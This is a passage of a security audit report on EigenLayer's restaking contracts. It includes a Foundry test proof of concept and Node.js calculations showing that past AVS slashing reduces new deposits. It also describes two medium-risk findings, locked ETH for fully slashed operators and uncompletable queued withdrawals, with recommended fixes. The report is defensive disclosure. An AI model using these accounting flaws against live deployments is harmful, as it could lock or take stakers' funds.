        console.log("deposited shares: ", staker.eigenPodManager().stakerDepositShares(address(staker),
        ↪  staker.beaconChainETHStrategy()));

        // get the withdrawable shares
        (uint256[] memory withdrawableShares, uint256[] memory depositShares) =
        ↪  staker.delegationManager().getWithdrawableShares(address(staker),
        ↪  staker.beaconChainETHStrategy().toArray());
        console.log("Withdrawable shares: ", withdrawableShares[0]);


        // 7. Slash Staker on BC
        uint64 slashedAmountGwei = beaconChain.slashValidators(validators, BeaconChainMock.SlashType.Half);
        beaconChain.advanceEpoch_NoWithdrawNoRewards();

        // get the restaked amount from the eigenPod
        console.log("previous restaked amount: ", staker.pod().withdrawableRestakedExecutionLayerGwei());

        console.log("logs after adding balance to the pod:");
        console.log("pod balance before adding balance: ", address(staker.pod()).balance);

        cheats.deal(address(this), 128 ether);
        address(staker.pod()).call{value: 63 ether}("");
        // 8. Checkpoint
        staker.startCheckpoint();
        staker.completeCheckpoint();

        // get the deposit scaling factor before verificaiton
        console.log("deposit scaling factor: ",
        ↪  staker.delegationManager().depositScalingFactor(address(staker), staker.beaconChainETHStrategy()));

        // get the deposit scaling factor
        console.log("Operator max magnitude: ", staker.allocationManager().getMaxMagnitude(address(operator),
        ↪  staker.beaconChainETHStrategy()));

        // get the beacon chain slashing factor
        console.log("beacon chain slashing factor: ",
        ↪  staker.eigenPodManager().beaconChainSlashingFactor(address(staker)));
```

```
        // get the restaked amount from the eigenPod
        console.log("new restaked amount: ", staker.pod().withdrawableRestakedExecutionLayerGwei());

        // get the deposit shares
        console.log("deposited shares: ", staker.eigenPodManager().stakerDepositShares(address(staker),
        ↪  staker.beaconChainETHStrategy()));

        // get the withdrawable shares
        (withdrawableShares, depositShares) =
        ↪  staker.delegationManager().getWithdrawableShares(address(staker),
        ↪  staker.beaconChainETHStrategy().toArray());
        console.log("Withdrawable shares: ", withdrawableShares[0]);

        // get the deposit scaling factor
        console.log("deposit scaling factor: ",
        ↪  staker.delegationManager().depositScalingFactor(address(staker), staker.beaconChainETHStrategy()));
    }
}
```

When running `test_checking1(...)`, the user initially deposits `128 ETH`. The funds are then slashed `0.5 wad` by AVS and `Half` by the beacon chain. Before accounting for beacon chain slashings, the user deposits additional ETH to trigger the `else` condition in `recordBeaconChainETHBalanceUpdate(...)`. The results show:

```
deposited shares:  12800000000000000000
beacon chain slashing factor in delegationManager:  992187500000000000
Withdrawable shares:  6350000000000000000
```

This means the user deposited 63 ETH, but only `63.5` ETH remains withdrawable. The calculations below confirm that AVS slashing is still applied to new deposits:

```
Welcome to Node.js v20.16.0.
Type ".help" for more information.
> previousDeposits = 128
128
> AVSSlashingFactor = 0.5
0.5
> BeaconChainSlashingFactor = 0.5
0.5
> newDeposits = 63
63
> previousDeposits * AVSSlashingFactor * BeaconChainSlashingFactor + newDeposits
95
> previousDeposits * AVSSlashingFactor * BeaconChainSlashingFactor + (newDeposits * AVSSlashingFactor)
63.5
```

We added 63 ETH because our slashed amount was 64 ETH on beacon chain. We can see our output matches if we apply AVS slashing to new Deposits. But let's test it with little bit more complex scenario to see if that is actually the case. This is what the `test_checking0` is for. Here is the output:

```
deposited shares:  12800000000000000000
beacon chain slashing factor in delegationManager:  742187500000000000
Withdrawable shares:  4750000000000000000
```

```
Welcome to Node.js v20.16.0.
Type ".help" for more information.
> previousDeposits = 128
128
> AVSSlashingFactor = 0.5
0.5
> BeaconChainSlashingFactor = 1 - 20 / 32
0.375
> newDeposits = 47
47
> previousDeposits * AVSSlashingFactor * BeaconChainSlashingFactor + newDeposits
71
> previousDeposits * AVSSlashingFactor * BeaconChainSlashingFactor + (newDeposits * AVSSlashingFactor)
47.5
>
```

Here, we first slashed each operator for 8 ETH and then again for 12 ETH and that is why calculating the slashing factor like this. We can see that, if we apply AVS slashing factor to this as well, the the result

matches. Hence we can conclude that the AVS level slashing is still applied to new deposits.

To test for the case when the deposit amount completely cancel out the slashed amount which leads to 0 balance delta, just increase the amount in the above tests by 1 more ETH. You will see the slashing still applies. So the issue does not only be solved by correcting it in else block.

**Recommendation:** It is recommended to update the deposit scaling factor for undeposited assets to properly account for AVS-level slashings or implement an alternative solution to prevent newly deposited ETH from being subjected to past AVS slashes.

### 3.2.2 Operators Cannot Recover Unslashed ETH After Full Slashing in `beaconChainETHStrategy`

*Submitted by elhaj, also found by Auditten and hash*

**Severity:** Medium Risk

**Context:** *(No context files were provided by the reviewer)*

**Description:** An edge case in EigenLayer can result in the permanent loss of funds that are not supposed to be subject to slashing for operators who experience a full slashing event (slashing factor reduced to zero). This issue specifically affects the `BeaconChain` strategy and creates a deadlock where operators cannot recover any newly staked ETH after a slashing event occurs, due to an interaction between multiple components of the protocol.

- In `EigenLayer`, funds that are deposited/delegated after a slashing event should not be subject to slashing, and this is achieved via calculating a `depositFactor` in case of shares increase. The deposit factor is calculated as:

```
depositFactor = 1/slashingFactor
```

- For example: if a staker with `100` tokens delegates to an operator with `slashingFactor = 0.4`:

```
depositFactor = 1/0.4 = 2.5
```

- When this staker withdraws, the withdrawable amount will be:

```
amountToWithdraw = 100 * depositFactor * slashingFactor = 100 * 2.5 * 0.4 = 100
```

- This ensures that funds deposited after the slashing event are not subject to slashing.
- The issue is that if an operator gets slashed 100% for `beaconChainETHStrategy`, this may lead to permanent loss of ETH that shouldn't be subject to slashing.

When a new deposit is made to the beacon chain, it needs to be proven in the EigenPod system through the following flow:

1. Deposit made to the `beaconDepositContract`:

```
function stake(bytes calldata pubkey, bytes calldata signature, bytes32 depositDataRoot) external payable
↪  onlyWhenNotPaused(PAUSED_NEW_EIGENPODS) nonReentrant {
    IEigenPod pod = ownerToPod[msg.sender];
    if (address(pod) == address(0)) {
        //deploy a pod if the sender doesn't have one already
        pod = _deployPod();
    }
    pod.stake{value: msg.value}(pubkey, signature, depositDataRoot);
}
```

2. After the validator is activated on the Beacon Chain, the podOwner should verify that new validator via `verifyWithdrawalCredentials` which calls `eigenPodManager.recordBeaconChainETHBalanceUpdate()`:

```
function verifyWithdrawalCredentials(/*params*/ ) external onlyOwnerOrProofSubmitter
↪  onlyWhenNotPaused(PAUSED_EIGENPODS_VERIFY_CREDENTIALS) {
        //.....
    eigenPodManager.recordBeaconChainETHBalanceUpdate({ // <<<
        podOwner: podOwner,
        prevRestakedBalanceWei: 0, // only used for checkpoint balance updates
        balanceDeltaWei: int256(totalAmountToBeRestakedWei)
    });
}
```

3. The `recordBeaconChainETHBalanceUpdate()` calls the `delegationManager.increaseDelegatedShares()` function to increase the balance of staker by the added shares:

```
function recordBeaconChainETHBalanceUpdate(address podOwner, uint256 prevRestakedBalanceWei, int256
↪  balanceDeltaWei) external onlyEigenPod(podOwner) nonReentrant {

    if (balanceDeltaWei > 0) {
        (uint256 prevDepositShares, uint256 addedShares) = _addShares(podOwner,
        ↪  uint256(balanceDeltaWei));

        // Update operator shares
        delegationManager.increaseDelegatedShares({staker: podOwner, strategy: beaconChainETHStrategy,
        ↪  prevDepositShares: prevDepositShares, addedShares: addedShares}); // <<<
    }
```

4. In the `increaseDelegatedShares` function in the `delegationManager` contract, the internal function `_increaseDelegation` is called with the new `addedShares` and *slashingFactor* of the operator the `eigenPod` owner is delegating to. Notice that if the slashing factor of that operator is `0`, the call will revert:

```
// In DelegationManager._increaseDelegation
function _increaseDelegation(
    address operator,
    address staker,
    IStrategy strategy,
    uint256 addedShares
) internal {
    // This check creates the deadlock
    require(slashingFactor != 0, FullySlashed()); // <<<

    // Update deposit scaling factor and shares
    depositScalingFactor[staker][strategy].update(
        prevDepositShares,
        addedShares,
        slashingFactor
    );
}
```

The issue is with the `beaconStrategy`, if an operator's slashing factor reaches zero, any funds that are not subject to slashing can become permanently locked. This happens because the `delegationManager.increaseDelegatedShares()` function will revert due to this check:

```
require(slashingFactor != 0, FullySlashed());
```

and completing a checkpoint or approving a new validator(withdrawal credential) always calls `eigenPodManager.recordBeaconChainETHBalanceUpdate()`, which in turn calls the `DelegationManager.increaseDelegatedShares()` function.

> Note: In case of regular strategies (through StrategyManger), this scenario doesn't lead to any issue, as increasing or depositing new shares will revert and no funds will be lost since this happens in the same tx.

- This violates a fundamental protocol design principle: new deposits should not be affected by previous slashing events. The deposit scaling factor was specifically designed to protect new deposits, but the zero slashing factor check prevents this protection from functioning.
- Regular stakers can escape this situation through undelegation. If their operator's slashing factor is zero, they can undelegate, complete their checkpoint independently, and either withdraw or delegate to a different operator.

However, operators themselves face a critical deadlock. They cannot undelegate due to the check in `DelegationManager.undelegate()`:

```
require(!isOperator(staker), OperatorsCannotUndelegate());
```

- This creates an inescapable situation where operators can't complete checkpoints/verify-withdrawal-credentials due to their zero slashing factor, can't undelegate to reset their status, and as a result, their ETH becomes permanently locked in the EigenPod with no recovery path.
- The vulnerability is amplified by the timing gap inherent in the deposit process. Between making a deposit to the beacon chain, proving it in EigenPod, and completing the checkpoint, there's a window where an operator could be fully slashed. If this happens, not only existing funds but also any pending and subsequent deposits will be permanently lost.

Example Scenario: Alice (an operator):

1. Initially has 0 ETH in her EigenPod , Alice allocate 100% of her deposit to AVSx.
2. AVSx slashes Alice 100% , Alice's slashing factor of eigenpod strategy becomes 0.
3. Alice stake 32 ETH for a her validator to the Beacon Chain , and the deposit is currently pending.
4. Tries to verify the new validator in her EigenPod.
    - Verification fails: `delegationManager.increaseDelegatedShares()` reverts due to slashing factor 0.
5. Cannot undelegate (operators cannot undelegate from themselves).
6. Result: 32 ETH permanently locked in Beacon Chain, inaccessible through EigenLayer even though those funds are after the slashing event.

**Impact:**

- Operators who experience a full slashing event (slashing factor of zero) permanently lose access to any ETH deposited after the slashing event, even though these funds should not be subject to slashing.
- This vulnerability violates the core protocol principle that new deposits should not be affected by previous slashing events, as the deposit scaling factor mechanism fails to protect new deposits in this scenario.

**Recommendation:** I think the most straightforward solution is to introduce a recovery path for fully slashed operators:

1. Add a mapping in `EigenPodManager` to track post-slashing ETH balances:

```
// New state variable in EigenPodManager
mapping(address => uint256) public postSlashingWithdrawableETH;
```

2. Modify `recordBeaconChainETHBalanceUpdate` to handle zero slashing factor cases:

```
function recordBeaconChainETHBalanceUpdate(address podOwner, uint256 prevBalance, int256 balanceDelta)
↪  external {
    // Existing checks...

    // Handle the case of fully slashed operators
    if (delegationManager.isOperator(podOwner) && delegationManager.getSlashingFactor(podOwner,
    ↪  beaconChainETHStrategy) == 0) {
            // Direct path for fully slashed operators
            postSlashingWithdrawableETH[podOwner] += uint256(balanceDelta);
            return;
        }
    }

}
```

This approach maintains the security properties of the protocol while providing operators a way to recover ETH that was not subject to the original slashing event.

> Note that funds tracked in `postSlashingWithdrawableETH` would still be subject to Beacon Chain slashing, so we should account for that whenever we enable withdrawals for those funds.

### 3.2.3 Queued withdrawals can become uncompleteable due to reverts causing funds to be lost

*Submitted by hash*

**Severity:** Medium Risk

**Context:** *(No context files were provided by the reviewer)*

**Description:**

- Even when there are multiple tokens in a withdrawal, a single mode of withdrawal is applied to all the tokens (ie. either every token should be withdrawn as tokens or every token should be added back as shares).
- When beacon chain strategy has negative shares, users are supposed to use the addShares method because `restakedExecutionLayerGwei` can be less than the withdrawal amount and beacon chain updates are not processed until shares are brought back to positive.
- But in case the newSlashingFactor for any of the queued tokens is zero, then the increaseDelegation function will revert and hence addShares method cannot be used as well for withdrawals.
- For other stakers, they can avoid the newSlashingFactor == 0 case by undelegating from the current operator (this itself will cost the users to undelegate and loose the rewards of the associated time-frame) but the operator himself can never undelegate causing this the entire funds in the withdrawal to be lost.

As evident from the above lines, multiple factors contributing to this but the crux could be the inability to withdraw eigenpod shares as tokens when they have a negative balance (ie. `restakedExecutionLayerGwei` cannot be increased when there is negative balance).

- DelegationManager.sol#L542

```
function _completeQueuedWithdrawal(
    Withdrawal memory withdrawal,
    IERC20[] calldata tokens,
    bool receiveAsTokens
) internal {

        // ....

        prevSlashingFactors = _getSlashingFactorsAtBlock({
            staker: withdrawal.staker,
            operator: withdrawal.delegatedTo,
            strategies: withdrawal.strategies,
            blockNumber: slashableUntil
        });
    }

    // ......

    address newOperator = delegatedTo[withdrawal.staker];
    // @audit newslashing factor can be 0 for a strategy even when prevSlashing factor is non-zero
    uint256[] memory newSlashingFactors = _getSlashingFactors(withdrawal.staker, newOperator,
    ↪  withdrawal.strategies); // <<<

    for (uint256 i = 0; i < withdrawal.strategies.length; i++) {
        IShareManager shareManager = _getShareManager(withdrawal.strategies[i]);

        // Calculate how much slashing to apply, as well as shares to withdraw
        uint256 sharesToWithdraw = SlashingLib.scaleForCompleteWithdrawal({
            scaledShares: withdrawal.scaledShares[i],
            slashingFactor: prevSlashingFactors[i]
        });

        //Do nothing if 0 shares to withdraw
        if (sharesToWithdraw == 0) {
            continue;
        }
        // @audit only single mode for all tokens
        if (receiveAsTokens) { // <<<
            // @audit can revert for beaconchainstrat
            shareManager.withdrawSharesAsTokens({
                staker: withdrawal.staker,
                strategy: withdrawal.strategies[i],
                token: tokens[i],
```

```
                shares: sharesToWithdraw
            });
        } else {
            (uint256 prevDepositShares, uint256 addedShares) = shareManager.addShares({
                staker: withdrawal.staker,
                strategy: withdrawal.strategies[i],
                shares: sharesToWithdraw
            });
            // @audit reverts if newslashingfactor is 0
            _increaseDelegation({
                operator: newOperator,
                staker: withdrawal.staker,
                strategy: withdrawal.strategies[i],
                prevDepositShares: prevDepositShares,
                addedShares: addedShares,
                slashingFactor: newSlashingFactors[i]
            });
        }
    }
}
```

Eg:

- Operator queues withdrawal for `[beacon, usdc, pepe]` with amounts `[1e2, 1e6, 1e2]` (in the current system).
- `podOwnerDepositShares` in `eigenpodmanager` == 0 and `restakedExecutionLayerGwei == 0`.
- slashing occurs in the beacon chain for 1. now `podOwnerDepositShares = -1`.
- Upgrade happens. opeartor's pepe gets slashed for 100% after `MIN_WITHDRAWAL_DELAY_BLOCKS`. Now `newSlashingFactor` for `pepe == 0`.
- Now these funds are lost because withdrawal cannot be completed either way.